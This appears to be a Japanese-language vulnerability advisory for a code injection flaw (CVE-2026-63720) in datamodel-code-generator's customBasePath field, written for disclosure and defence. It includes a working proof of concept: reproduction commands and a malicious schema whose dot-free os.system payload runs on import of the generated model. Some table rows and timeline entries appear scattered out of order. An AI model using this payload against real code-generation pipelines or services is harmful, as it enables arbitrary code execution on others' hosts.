
重大度: 高, CVSS 3.1 7.5 / CVSS 4.0 7.5(VulnCheck(CNA)により割り当て)
環境上限(ネットワークサービス展開): 最大 9.8
ベクター(v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
ベクター(v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
影響を受けるバージョン: datamodel-code-generator < 0.70.0
修正バージョン: 0.70.0
CWE: CWE-94(コード生成の制御不備、'コードインジェクション')
報告者: Rahul Karne
CNA: VulnCheck
公開日: 2026年7月26日
datamodel-code-generator は、コードインジェクションペイロードを運び得るスキーマ制御のインポート文字列をすべて検証していましたが、例外が1つありました。
このツールは、入力スキーマ(JSON Schema、OpenAPI、YAML)をPythonモデルのソースコードに変換します。複数のスキーマフィールドが生成コードに直接レンダリングされるため、プロジェクトはそれらをドット区切りのPython識別子として使用前に検証しており、特にインジェクションを防ぐためです。スキーマ拡張フィールド customBasePath は、このチェックをスキップする唯一の兄弟フィールドです。その値はサニタイズされずに生成出力の from ... import ... 文に流れ込みます。入力スキーマを制御する攻撃者は、改行とドットを含まない式を使って任意のPythonを埋め込むことができ、生成されたモジュールがインポートされた瞬間(モデル生成後の通常の次のステップ)に実行されます。
これは、兄弟フィールド customTypePath と x-python-import をまさにこの種の攻撃から保護した CVE-2026-55415(GHSA-5578-w22f-pfx9)の不完全な修正です。この修正は customBasePath をカバーしておらず、このフィールドは検証されずに同じシンクに到達し、0.68.1 および main ブランチでは 0.70.0 まで悪用可能なままでした。
生成されたモデルをインポートまたは実行するプロセス(開発者のマシン、CIランナー、またはモデルを生成してロードする任意のサービス)での任意のPythonコード実行。ホストの機密性、完全性、可用性は完全に侵害され、そのプロセスの特権によってのみ制限されます。
重大度は、コード生成が信頼できない入力に対してどこで実行されるかに完全に依存します:
影響を受けるユーザー: datamodel-code-generator < 0.70.0 を使用しており、(1) customBasePath の値が攻撃者の影響下にあるスキーマからモデルを生成し、(2) 生成されたモジュールをインポートまたは実行するすべての利用。デフォルトの「コード生成→インポート」ワークフローは本質的に(2)を満たします。
影響を受けないユーザー:
customBasePath が検証される 0.70.0 以降を使用している利用者。| 指標 | 値 | ソース |
|---|---|---|
| 全期間ダウンロード数 | 1億9400万 | pepy.tech/projects/datamodel-code-generator |
customBasePath スキーマフィールドの値は、識別子の制約なしに生成コードに取り込まれます。コードベースの3つのポイントが重要です(src/datamodel_code_generator/ からの相対パス):
parser/jsonschema.py は alias="customBasePath" を持つフィールド custom_base_path を定義し(約644行目)、複数の呼び出しサイトで _resolve_base_class(...) を介して消費されます。parser/base.py の _resolve_base_class(約1665行目)は、ローカルの normalize()(重複排除/ストリップ)のみを行った後に値を返します。識別子の検証は適用されません。imports.py の Import.from_full_path()(約35行目)は、値をそのまま from ... import ... 行として出力します。この値は model/base.py の set_base_class(約1324行目)でクラスベースとしても使用され、モデルテンプレート(class {{ class_name }}({{ base_class }}):)によって生のままレンダリングされます。値が制約なしでPythonソースに書き込まれるため、埋め込まれた改行とドットを含まない式は、それぞれ独立して解析可能な行として出力に残り、中間の行がインポート時に実行されます。
ペイロードは必然的にドットを含みません。Import.from_full_path は値を . で分割するため、通常の os.system(...) 呼び出しは分解されてしまいます。getattr(__import__('os'),'system')(...) を使用すると、. を避けつつ同じ呼び出しを解決でき、周囲の改行によって出力される from ... import ... 行が構文的に有効なまま維持されるため、注入された中間行はクリーンに実行されます。
これはインジェクションを軽視したプロジェクトではありません。メンテナーは複数のアドバイザリ(GHSA-5578、m34r、8m8r、wjv6)にわたって、このまさに同じ脆弱性クラスに対する防御を繰り返し強化し、そのたびにスキーマ制御のインポートまたは型文字列をコード生成に到達する前に _validate_dotted_python_identifier_path に通していました。兄弟フィールド customTypePath(parser/jsonschema.py の約4956行目、5202行目で検証)と x-python-import(約2096行目)はどちらもそのバリデーターを通ります。
customBasePath は、そのような呼び出しがない唯一の兄弟フィールドです。これは、他のフィールドが受けた検証に配線されることのなかった別のパス(_resolve_base_class)を通って同じ Import.from_full_path シンクに到達します。この欠陥が生き残ったのは、まさに周囲の防御が完全に見えたからです:検証されていないインポート文字列をスキャンするレビューアは、最初にチェックするフィールドにバリデーターを見つけますが、このフィールドはインポート処理ではなくベースクラス解決のように見えるヘルパーを通ります。これは、体系的な修正におけるギャップであり、修正が存在しないわけではありません。だからこそ最新リリースまで残存したのです。
攻撃者に必要なもの:
< 0.70.0 を使用するターゲット。customBasePath 値への制御。実際には、入力スキーマの提供または操作(サードパーティのOpenAPI/JSON Schemaドキュメント、またはサービスに提出されたスキーマ)による。攻撃者の認証や昇格された特権は不要です(PR:N)。基本スコアは、被害者が通常の生成およびインポート操作を実行することを反映しています(v3.1では UI:R / v4.0では UI:A)。ネットワークサービス展開ではそれすらも不要になり、環境スコア9.8の根拠となっています。
以下は、実際の未改変パッケージに対して実行されました。再現手順:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
攻撃者の入力(attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
脆弱なバージョン(0.68.1)で生成された generated_models.py:
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
攻撃者の呼び出しは生成されたソースにそのまま出力されます。
インポート時: コマンドが実行されます。検証済みの実行では、注入されたマーカーがstdoutに出力され、現在のユーザー(root)を含む RCE_PROOF.txt が作成され、通常の「生成してインポート」ワークフローを通じた任意のコマンド実行が確認されました。
パッチ適用済みバージョン(0.70.0): 同じスキーマは、コードが生成される前に拒否されます:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
ファイルは生成されません。拒否メッセージは修正内容を直接示しています:値は現在、ドット区切りのPython識別子パスであることが要求されます。
ネットワークサービス版。 POSTされたスキーマを受け入れ、モデルを生成してインポートする認証不要のループバックHTTPサービスが、ユーザー操作なしで、単一の認証不要の curl によってサーバー上で攻撃者のコマンドを実行することが実証されました。これは環境スコア9.8の背景にある展開形態です。サービスと攻撃ファイルはPoCリポジトリに含まれています。
datamodel-code-generator 0.70.0 以降にアップグレードしてください:
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0 は customBasePath を customTypePath と x-python-import にすでに適用されているものと同じドット区切り識別子検証に通すため、有効な識別子パスではない値はコード生成前に拒否されます。
すぐにアップグレードできない場合: 完全に制御できないスキーマからモデルを生成せず、信頼できないスキーマから生成されたモジュールをインポートまたは実行しないでください。影響を受けるバージョンで欠落した検証を追加する設定フラグはありません。アップグレードが確実な修正です。
ジェネレーターの内部を再利用する人への注意。 この欠陥は、Import.from_full_path への1つのコードパスでの検証呼び出しの欠落であり、シンク自体の欠陥ではありません。スキーマ制御の文字列を生成コードにレンダリングする下流プロジェクトは、明白なインポート処理パスを通るものだけでなく、すべてのそのようなフィールドをドット区切り識別子として検証する必要があります。
VulnCheck(CNA)は 7.5(高) を割り当てました。これは、メンテナーが親アドバイザリ CVE-2026-55415 に使用した基本ベクターと一致しています。同じインジェクションクラス、同じ Import.from_full_path シンク、同じ影響だからです。
AV:N:スキーマはネットワーク経由で取得されることが一般的です(取得した、またはサードパーティのOpenAPI / JSON Schemaドキュメント)。AC:H:悪用は、被害者が悪意のあるスキーマからモデルを生成し、生成されたコードをインポートまたは実行することに依存します。PR:N / UI:R(v3.1):攻撃者の特権は不要。被害者が通常のコード生成およびインポートワークフローを実行します。C:H / I:H / A:H:ホスト上での完全な任意コード実行。環境上限は 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)で、ジェネレーターが信頼できないスキーマにさらされ、被害者の操作が不要なネットワークサービス展開に特に適用されます。この数字はその展開に対する環境上の注記であり、割り当てられた基本スコアではありません。両方を示し、どちらがどちらかを明確にすることが正直な枠組みです:基本は7.5であり、露出したサービスケースでのみ9.8に達します。
| 日付 | 出来事 |
|---|---|
| 2026年7月13日 | 脆弱性を特定 |
Rahul Karne(セキュリティ研究者、IEEEシニアメンバー)によって発見・報告されました。彼の研究は、PyAthena のSQLインジェクション(CVE-2026-65321)や、この発見に関連する親クラスの強化など、依存度の高いオープンソースパッケージにおけるインジェクションおよび入力処理の欠陥に焦点を当てています。
連絡先:[email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5メディアからの問い合わせ:[email protected]。完全なPoC(攻撃者スキーマ、ネットワークサービスデモ)および追加の技術的詳細はリクエストに応じて提供可能です。
| 直近30日間のダウンロード数 | 1630万 | pepy.tech |
| 一般的な展開形態 | 開発者のマシン、CI/CDパイプライン、OpenAPI / JSON Schema からコード生成するSDK生成プラットフォーム | ツールの機能に固有 |
| 2026年7月14日 | 報告(協調的開示) |
| 2026年7月21日 | 修正をコミット(545a96c5) |
| 2026年7月24日 | パッチ適用版 0.70.0 をリリース |
| 2026年7月26日 | VulnCheck が CVE-2026-63720 を公開 |